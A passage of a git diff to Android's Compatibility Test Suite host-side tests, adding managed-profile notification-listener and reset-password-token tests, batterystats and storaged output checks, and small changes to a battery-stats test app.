+ }
+ super.tearDown();
+ }
+
+ @Test
+ public void testEXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ runDeviceTestsAsUser(SINGLE_ADMIN_PKG, ".ProvisioningSingleAdminTest",
+ "testManagedProfileProvisioning", mPrimaryUserId);
+
+ mProfileUserId = getFirstManagedProfileUserId();
+ }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 26da677..80d7e6b 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -20,8 +20,11 @@
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.log.LogUtil.CLog;
+import com.android.compatibility.common.util.CddTest;
+
import junit.framework.AssertionFailedError;
+import java.util.Collections;
import java.util.concurrent.Callable;
import java.util.concurrent.TimeUnit;
import java.util.regex.Matcher;
@@ -61,6 +64,12 @@
= "content://com.android.cts.contact.directory.provider/";
private static final String SET_CUSTOM_DIRECTORY_PREFIX_METHOD = "set_prefix";
+ private static final String NOTIFICATION_APK = "CtsNotificationSenderApp.apk";
+ private static final String NOTIFICATION_PKG =
+ "com.android.cts.managedprofiletests.notificationsender";
+ private static final String NOTIFICATION_ACTIVITY =
+ NOTIFICATION_PKG + ".SendNotification";
+
private static final String ADMIN_RECEIVER_TEST_CLASS =
MANAGED_PROFILE_PKG + ".BaseManagedProfileTest$BasicAdminReceiver";
@@ -73,7 +82,12 @@
private static final String SIMPLE_APP_APK = "CtsSimpleApp.apk";
private static final String SIMPLE_APP_PKG = "com.android.cts.launcherapps.simpleapp";
- private static final long TIMEOUT_USER_LOCKED_MILLIS = TimeUnit.SECONDS.toMillis(15);
+ private static final long TIMEOUT_USER_LOCKED_MILLIS = TimeUnit.SECONDS.toMillis(30);
+
+ private static final String PARAM_PROFILE_ID = "profile-id";
+
+ // Password needs to be in sync with ResetPasswordWithTokenTest.PASSWORD1
+ private static final String RESET_PASSWORD_TEST_DEFAULT_PASSWORD = "123456";
private int mParentUserId;
@@ -112,6 +126,7 @@
getDevice().uninstallPackage(MANAGED_PROFILE_PKG);
getDevice().uninstallPackage(INTENT_SENDER_PKG);
getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
+ getDevice().uninstallPackage(NOTIFICATION_PKG);
}
super.tearDown();
}
@@ -147,6 +162,10 @@
changeUserCredential("1234", null, mProfileUserId);
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".LockNowTest",
"testLockNowWithKeyEviction", mProfileUserId);
+ waitUntilProfileLocked();
+ }
+
+ private void waitUntilProfileLocked() throws Exception {
final String cmd = "dumpsys activity | grep 'User #" + mProfileUserId + ": state='";
final Pattern p = Pattern.compile("state=([\\p{Upper}_]+)$");
SuccessCondition userLocked = () -> {
@@ -161,6 +180,7 @@
TIMEOUT_USER_LOCKED_MILLIS);
}
+ @CddTest(requirement="3.9.2/C-1-2")
public void testMaxOneManagedProfile() throws Exception {
int newUserId = -1;
try {
@@ -353,6 +373,60 @@
}
+ public void testCrossProfileNotificationListeners_EmptyWhitelist() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ installAppAsUser(NOTIFICATION_APK, mProfileUserId);
+ installAppAsUser(NOTIFICATION_APK, mParentUserId);
+
+ // Profile owner in the profile sets an empty whitelist
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+ "testSetEmptyWhitelist", mProfileUserId,
+ Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+ // Listener outside the profile can only see personal notifications.
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+ "testCannotReceiveProfileNotifications", mParentUserId,
+ Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+ }
+
+ public void testCrossProfileNotificationListeners_NullWhitelist() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ installAppAsUser(NOTIFICATION_APK, mProfileUserId);
+ installAppAsUser(NOTIFICATION_APK, mParentUserId);
+
+ // Profile owner in the profile sets a null whitelist
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+ "testSetNullWhitelist", mProfileUserId,
+ Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+ // Listener outside the profile can see profile and personal notifications
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+ "testCanReceiveNotifications", mParentUserId,
+ Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+ }
+
+ public void testCrossProfileNotificationListeners_InWhitelist() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ installAppAsUser(NOTIFICATION_APK, mProfileUserId);
+ installAppAsUser(NOTIFICATION_APK, mParentUserId);
+
+ // Profile owner in the profile adds listener to the whitelist
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+ "testAddListenerToWhitelist", mProfileUserId,
+ Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+ // Listener outside the profile can see profile and personal notifications
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+ "testCanReceiveNotifications", mParentUserId,
+ Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+ }
+
public void testCrossProfileCopyPaste() throws Exception {
if (!mHasFeature) {
return;
@@ -538,6 +612,7 @@
});
}
+ @CddTest(requirement="3.9.2/C-1-8")
public void testManagedContactsPolicies() throws Exception {
runManagedContactsTest(new Callable<Void>() {
@Override
@@ -614,6 +689,7 @@
/*expectFailure*/ true));
}
+ @CddTest(requirement="3.9.1.1/C-1-7")
public void testCannotSetDeviceOwnerWhenProfilePresent() throws Exception {
if (!mHasFeature) {
return;
@@ -767,6 +843,9 @@
if (!shouldRunTelecomTest()) {
return;
}
+ getDevice().setSetting(
+ mProfileUserId, "secure", "dialer_default_application", MANAGED_PROFILE_PKG);
+
// Place a outgoing call through work phone account using TelecomManager and verify the
// call is inserted properly.
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
@@ -796,6 +875,16 @@
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
"testEnsureCallNotInserted",
mParentUserId);
+
+ // Add an incoming missed call with parent user's phone account and verify the call is
+ // inserted properly.
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
+ "testIncomingMissedCall",
+ mProfileUserId);
+ // Make sure the call is not inserted into parent user.
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
+ "testEnsureCallNotInserted",
+ mParentUserId);
}
private void givePackageWriteSettingsPermission(int userId, String pkg) throws Exception {
@@ -895,6 +984,55 @@
"testOppDisabledWhenRestrictionSet", mProfileUserId);
}
+ public void testResetPasswordWithTokenBeforeUnlock() throws Exception {
+ if (!mHasFeature || !mSupportsFbe) {
+ return;
+ }
+
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+ "testSetupWorkProfileAndLock", mProfileUserId);
+ waitUntilProfileLocked();
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+ "testResetPasswordBeforeUnlock", mProfileUserId);
+ // Password needs to be in sync with ResetPasswordWithTokenTest.PASSWORD1
+ verifyUserCredential(RESET_PASSWORD_TEST_DEFAULT_PASSWORD, mProfileUserId);
+ }
+
+ /**
+ * Test password reset token is still functional after the primary user clears and
+ * re-adds back its device lock. This is to detect a regression where the work profile
+ * undergoes an untrusted credential reset (causing synthetic password to change, invalidating
+ * existing password reset token) if it has unified work challenge and the primary user clears
+ * the device lock.
+ */
+ public void testResetPasswordTokenUsableAfterClearingLock() throws Exception {
+ if (!mHasFeature || !mSupportsFbe) {
+ return;
+ }
+ final String devicePassword = "1234";
+
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+ "testSetResetPasswordToken", mProfileUserId);
+ try {
+ changeUserCredential(devicePassword, null, mParentUserId);
+ changeUserCredential(null, devicePassword, mParentUserId);
+ changeUserCredential(devicePassword, null, mParentUserId);
+
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+ "testLockWorkProfile", mProfileUserId);
+ waitUntilProfileLocked();
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+ "testResetPasswordBeforeUnlock", mProfileUserId);
+ verifyUserCredential(RESET_PASSWORD_TEST_DEFAULT_PASSWORD, mProfileUserId);
+ } finally {
+ changeUserCredential(null, devicePassword, mParentUserId);
+ // Cycle the device screen to flush stale password information from keyguard,
+ // otherwise it will still ask for the non-existent password.
+ executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ executeShellCommand("input keyevent KEYCODE_SLEEP");
+ }
+ }
+
private void disableActivityForUser(String activityName, int userId)
throws DeviceNotAvailableException {
String command = "am start -W --user " + userId
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
index 7c82e16..6cedba5 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
@@ -119,24 +119,42 @@
// and profile owners on the primary user.
}
- /**
- * Don't require a device for tests that use the network stack on secondary users.
- */
+ /** VPN tests don't require physical device for managed profile, thus overriding. */
@Override
public void testAlwaysOnVpn() throws Exception {
super.testAlwaysOnVpn();
}
+ /** VPN tests don't require physical device for managed profile, thus overriding. */
@Override
public void testAlwaysOnVpnLockDown() throws Exception {
super.testAlwaysOnVpnLockDown();
}
+ /** VPN tests don't require physical device for managed profile, thus overriding. */
+ @Override
+ public void testAlwaysOnVpnAcrossReboot() throws Exception {
+ super.testAlwaysOnVpnAcrossReboot();
+ }
+
+ /** VPN tests don't require physical device for managed profile, thus overriding. */
@Override
public void testAlwaysOnVpnPackageUninstalled() throws Exception {
super.testAlwaysOnVpnPackageUninstalled();
}
+ /** VPN tests don't require physical device for managed profile, thus overriding. */
+ @Override
+ public void testAlwaysOnVpnUnsupportedPackage() throws Exception {
+ super.testAlwaysOnVpnUnsupportedPackage();
+ }
+
+ /** VPN tests don't require physical device for managed profile, thus overriding. */
+ @Override
+ public void testAlwaysOnVpnUnsupportedPackageReplaced() throws Exception {
+ super.testAlwaysOnVpnUnsupportedPackageReplaced();
+ }
+
@Override
public void testResetPasswordWithToken() throws Exception {
if (!mHasFeature) {
@@ -145,6 +163,6 @@
// Execute the test method that's guaranteed to succeed. See also test in base class
// which are tolerant to failure and executed by MixedDeviceOwnerTest and
// MixedProfileOwnerTest
- executeDeviceTestMethod(".ResetPasswordWithTokenTest", "testResetPasswordWithToken");
+ executeResetPasswordWithTokenTests(false);
}
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
index fd5b2bf..23324a3 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
@@ -79,9 +79,6 @@
return;
}
- // Make sure user initialization is complete before proceeding.
- waitForBroadcastIdle();
-
// Lock FBE and verify resetPassword is disabled
executeDeviceTestMethod(FBE_HELPER_CLASS, "testSetPassword");
rebootAndWaitUntilReady();
diff --git a/hostsidetests/dumpsys/Android.mk b/hostsidetests/dumpsys/Android.mk
index 4d62d38..030a910 100644
--- a/hostsidetests/dumpsys/Android.mk
+++ b/hostsidetests/dumpsys/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CTS_TEST_PACKAGE := android.dumpsys
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
index b11a57b..ff34e63 100644
--- a/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
+++ b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
@@ -26,6 +26,6 @@
LOCAL_PACKAGE_NAME := CtsFramestatsTestApp
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
index dc9e4c9..3f7bd08 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
+++ b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+LOCAL_JAVA_LIBRARIES := cts-junit
LOCAL_STATIC_JAVA_LIBRARIES := \
ctstestrunner \
@@ -34,6 +34,6 @@
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
index 1691103..9b2e198 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
+++ b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
@@ -34,6 +34,6 @@
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index c6c004e..25bb65f 100644
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -17,6 +17,7 @@
package android.dumpsys.cts;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+
import com.android.compatibility.common.util.CddTest;
import java.io.BufferedReader;
@@ -38,7 +39,7 @@
*
* @throws Exception
*/
- @CddTest(requirement="8.4/T-0-1,T-0-2,T-0-4,H-0-1,H-0-2,H-0-4,A-0-1,A-0-2,A-0-4")
+ @CddTest(requirement="6.1/C-0-3")
public void testBatterystatsOutput() throws Exception {
String batterystats = mDevice.executeShellCommand("dumpsys batterystats --checkin");
assertNotNull(batterystats);
@@ -409,7 +410,7 @@
}
private void checkBattery(String[] parts) {
- assertEquals(15, parts.length);
+ assertEquals(16, parts.length);
if (!parts[4].equals("N/A")) {
assertInteger(parts[4]); // startCount
}
@@ -423,6 +424,7 @@
long bEstCap = assertInteger(parts[12]); // batteryEstimatedCapacity
assertInteger(parts[13]); // minLearnedBatteryCapacity
assertInteger(parts[14]); // maxLearnedBatteryCapacity
+ long bDoze = assertInteger(parts[15]); // screenDozeTime
// The device cannot be up more than there are real-world seconds.
assertTrue("batteryRealtime must be >= batteryUptime", bReal >= bUp);
@@ -438,16 +440,20 @@
assertTrue("batteryUptime must be >= batteryScreenOffUptime", bUp >= bOffUp);
assertTrue("batteryScreenOffUptime must be >= 0", bOffUp >= 0);
assertTrue("batteryEstimatedCapacity must be >= 0", bEstCap >= 0);
+ assertTrue("screenDozeTime must be >= 0", bDoze >= 0);
+ assertTrue("screenDozeTime must be <= batteryScreenOffRealtime", bDoze <= bOffReal);
}
private void checkBatteryDischarge(String[] parts) {
- assertEquals(10, parts.length);
+ assertEquals(12, parts.length);
assertInteger(parts[4]); // low
assertInteger(parts[5]); // high
assertInteger(parts[6]); // screenOn
assertInteger(parts[7]); // screenOff
- assertInteger(parts[8]); // dischargeCount
- assertInteger(parts[9]); // dischargeScreenOffCount
+ assertInteger(parts[8]); // dischargeMah
+ assertInteger(parts[9]); // dischargeScreenOffMah
+ assertInteger(parts[10]); // dischargeDozeCount
+ assertInteger(parts[11]); // dischargeDozeMah
}
private void checkBatteryLevel(String[] parts) {
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/ProcessStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/ProcessStatsDumpsysTest.java
index 4dfc1a3..5eb6a71 100644
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/ProcessStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/ProcessStatsDumpsysTest.java
@@ -18,6 +18,8 @@
import com.android.tradefed.log.LogUtil.CLog;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.BufferedReader;
import java.io.StringReader;
import java.util.HashSet;
@@ -50,6 +52,7 @@
* Tests the output of "dumpsys procstats -c". This is a proxy for testing "dumpsys procstats
* --checkin", since the latter is not idempotent.
*/
+ @CddTest(requirement="6.1/C-0-2/C-0-3")
public void testProcstatsOutput() throws Exception {
// First, run the helper app so that we have some interesting records in the output.
checkWithProcStatsApp();
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java
index c8981c5..129d412 100644
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java
@@ -102,8 +102,33 @@
}
if (parts[0].equals(DEVICE_SIDE_TEST_PACKAGE)) {
- assertTrue((Integer.parseInt(parts[6]) >= 4096 && Integer.parseInt(parts[8]) >= 4096) ||
+ /*
+ * order of parts in StoragedService::dumpUidRecords
+ * [0] DEVICE_SIDE_TEST_PACKAGE
+ * [1] read foreground charger_off
+ * [2] write foreground charger_off
+ * [3] read background charger_off
+ * [4] write background charger_off
+ * [5] read foreground charger_on
+ * [6] write foreground charger_on
+ * [7] read background charger_on
+ * [8] write background charger_on
+ */
+ if ((Integer.parseInt(parts[6]) >= 8192 && Integer.parseInt(parts[8]) == 0) ||
+ (Integer.parseInt(parts[2]) >= 8192 && Integer.parseInt(parts[4]) == 0)) {
+ System.out.print("WARNING: Background I/O was attributed to the "
+ + "foreground. This could indicate a broken or malfunctioning "
+ + "ActivityManager or UsageStatsService.\n");
+ } else if ((Integer.parseInt(parts[2]) >= 4096 && Integer.parseInt(parts[4]) >= 4096) ||
+ Integer.parseInt(parts[4]) >= 8192) {
+ System.out.print("WARNING: charger on I/O was attributed to "
+ + "charger off. This could indicate a broken or malfunctioning "
+ + "ADB USB connection, or device that refuses to charge at the "
+ + "typical 500mA because it is less than 0.05C.\n");
+ } else {
+ assertTrue((Integer.parseInt(parts[6]) >= 4096 && Integer.parseInt(parts[8]) >= 4096) ||
Integer.parseInt(parts[8]) >= 8192);
+ }
hasTestIO = true;
}
}
diff --git a/hostsidetests/edi/Android.mk b/hostsidetests/edi/Android.mk
index efa093f..c3b07ec 100644
--- a/hostsidetests/edi/Android.mk
+++ b/hostsidetests/edi/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsEdiHostTestCases
diff --git a/hostsidetests/incident/Android.mk b/hostsidetests/incident/Android.mk
index b02fc19..b89bafe 100644
--- a/hostsidetests/incident/Android.mk
+++ b/hostsidetests/incident/Android.mk
@@ -20,7 +20,7 @@
# tag this module as a cts test artifact
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsIncidentHostTestCases
diff --git a/hostsidetests/incident/apps/batterystatsapp/Android.mk b/hostsidetests/incident/apps/batterystatsapp/Android.mk
index 78f710b..42c87f4 100644
--- a/hostsidetests/incident/apps/batterystatsapp/Android.mk
+++ b/hostsidetests/incident/apps/batterystatsapp/Android.mk
@@ -34,6 +34,6 @@
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml b/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
index 7e07641..e9482bf 100644
--- a/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
@@ -25,6 +25,7 @@
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.READ_SYNC_STATS" />
<uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<application android:label="@string/app_name">
<uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
index ef9925b..4570c30 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
@@ -32,6 +32,8 @@
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
+import android.graphics.Color;
+import android.graphics.Point;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
@@ -42,6 +44,10 @@
import android.os.HandlerThread;
import android.os.Looper;
import android.util.Log;
+import android.view.Gravity;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.WindowManager;
import org.junit.Assert;
@@ -53,6 +59,8 @@
public class BatteryStatsBgVsFgActions {
private static final String TAG = BatteryStatsBgVsFgActions.class.getSimpleName();
+ private static final int DO_NOTHING_TIMEOUT = 2000;
+
public static final String KEY_ACTION = "action";
public static final String ACTION_BLE_SCAN_OPTIMIZED = "action.ble_scan_optimized";
public static final String ACTION_BLE_SCAN_UNOPTIMIZED = "action.ble_scan_unoptimized";
@@ -60,6 +68,9 @@
public static final String ACTION_JOB_SCHEDULE = "action.jobs";
public static final String ACTION_SYNC = "action.sync";
public static final String ACTION_WIFI_SCAN = "action.wifi_scan";
+ public static final String ACTION_SLEEP_WHILE_BACKGROUND = "action.sleep_background";
+ public static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
+ public static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
public static final String KEY_REQUEST_CODE = "request_code";
@@ -92,12 +103,49 @@
case ACTION_WIFI_SCAN:
doWifiScan(ctx, requestCode);
break;
+ case ACTION_SLEEP_WHILE_BACKGROUND:
+ sleep(DO_NOTHING_TIMEOUT);
+ tellHostActionFinished(ACTION_SLEEP_WHILE_BACKGROUND, requestCode);
+ break;
+ case ACTION_SLEEP_WHILE_TOP:
+ doNothingAsync(ctx, ACTION_SLEEP_WHILE_TOP, requestCode);
+ break;
+ case ACTION_SHOW_APPLICATION_OVERLAY:
+ showApplicationOverlay(ctx, requestCode);
+ break;
default:
Log.e(TAG, "Intent had invalid action");
}
sleep(100);
}
+ private static void showApplicationOverlay(Context ctx, String requestCode) {
+ final WindowManager wm = ctx.getSystemService(WindowManager.class);
+ Point size = new Point();
+ wm.getDefaultDisplay().getSize(size);
+
+ WindowManager.LayoutParams wmlp = new WindowManager.LayoutParams(
+ WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
+ WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
+ | WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
+ | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
+ wmlp.width = size.x / 4;
+ wmlp.height = size.y / 4;
+ wmlp.gravity = Gravity.CENTER | Gravity.LEFT;
+ wmlp.setTitle(ctx.getPackageName());
+
+ ViewGroup.LayoutParams vglp = new ViewGroup.LayoutParams(
+ ViewGroup.LayoutParams.MATCH_PARENT,
+ ViewGroup.LayoutParams.MATCH_PARENT);
+
+ View v = new View(ctx);
+ v.setBackgroundColor(Color.GREEN);
+ v.setLayoutParams(vglp);
+ wm.addView(v, wmlp);
+
+ tellHostActionFinished(ACTION_SHOW_APPLICATION_OVERLAY, requestCode);
+ }
+
private static void doOptimizedBleScan(Context ctx, String requestCode) {
ScanSettings scanSettings = new ScanSettings.Builder()
.setScanMode(ScanSettings.SCAN_MODE_OPPORTUNISTIC).build();
@@ -231,6 +279,24 @@
}.execute();
}
+ private static void doNothingAsync(Context ctx, String requestCode, String actionCode) {
+ new AsyncTask<Void, Void, Void>() {
+ @Override
+ protected Void doInBackground(Void... params) {
+ sleep(DO_NOTHING_TIMEOUT);
+ return null;
+ }
+
+ @Override
+ protected void onPostExecute(Void nothing) {
+ if (ctx instanceof Activity) {
+ ((Activity) ctx).finish();
+ tellHostActionFinished(actionCode, requestCode);
+ }
+ }
+ }.execute();
+ }
+
private static void doSync(Context ctx, String requestCode) {
BatteryStatsAuthenticator.removeAllAccounts(ctx);
final Account account = BatteryStatsAuthenticator.getTestAccount();
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsForegroundActivity.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsForegroundActivity.java
index 5622e40..da00afc 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsForegroundActivity.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsForegroundActivity.java
@@ -16,6 +16,7 @@
package com.android.server.cts.device.batterystats;
+import static com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions.ACTION_SLEEP_WHILE_TOP;
import static com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions.ACTION_SYNC;
import static com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions.KEY_ACTION;
import static com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions.KEY_REQUEST_CODE;
@@ -49,9 +50,17 @@
doAction(this, action, requestCode);
- // ACTION_SYNC will finish itself. Others get finished here.
- if (!ACTION_SYNC.equals(action)) {
+ if (!isActionAsync(action)) {
finish();
}
}
+
+ private boolean isActionAsync(String action) {
+ switch (action) {
+ case ACTION_SYNC:
+ case ACTION_SLEEP_WHILE_TOP:
+ return true;
+ }
+ return false;
+ }
}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleForegroundService.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleForegroundService.java
index ce690a6..a53cc1b 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleForegroundService.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleForegroundService.java
@@ -17,8 +17,12 @@
package com.android.server.cts.device.batterystats;
import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
import android.app.Service;
+import android.content.Context;
import android.content.Intent;
+import android.os.Build;
import android.os.Handler;
import android.os.HandlerThread;
import android.os.IBinder;
@@ -27,10 +31,14 @@
import android.os.Process;
import android.util.Log;
+import com.android.compatibility.common.util.ApiLevelUtil;
+
public class SimpleForegroundService extends Service {
private static final String TAG = "SimpleForegroundService";
+ private static final String NOTIFICATION_CHANNEL_ID = "Foreground Service";
private Looper mServiceLooper;
private ServiceHandler mServiceHandler;
+ private boolean mChannelCreated;
private final class ServiceHandler extends Handler {
public ServiceHandler(Looper looper) {
@@ -67,11 +75,23 @@
// Get the HandlerThread's Looper and use it for our Handler
mServiceLooper = thread.getLooper();
mServiceHandler = new ServiceHandler(mServiceLooper);
+
+ if (ApiLevelUtil.isBefore(Build.VERSION_CODES.O_MR1)) {
+ return;
+ }
+ // OMR1 requires notification channel to be set
+ NotificationManager notificationManager =
+ (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+ NOTIFICATION_CHANNEL_ID,
+ NotificationManager.IMPORTANCE_HIGH);
+ notificationManager.createNotificationChannel(channel);
+ mChannelCreated = true;
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
- Notification notification = new Notification.Builder(this, "Foreground Service")
+ Notification notification = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
.setContentTitle("CTS Foreground")
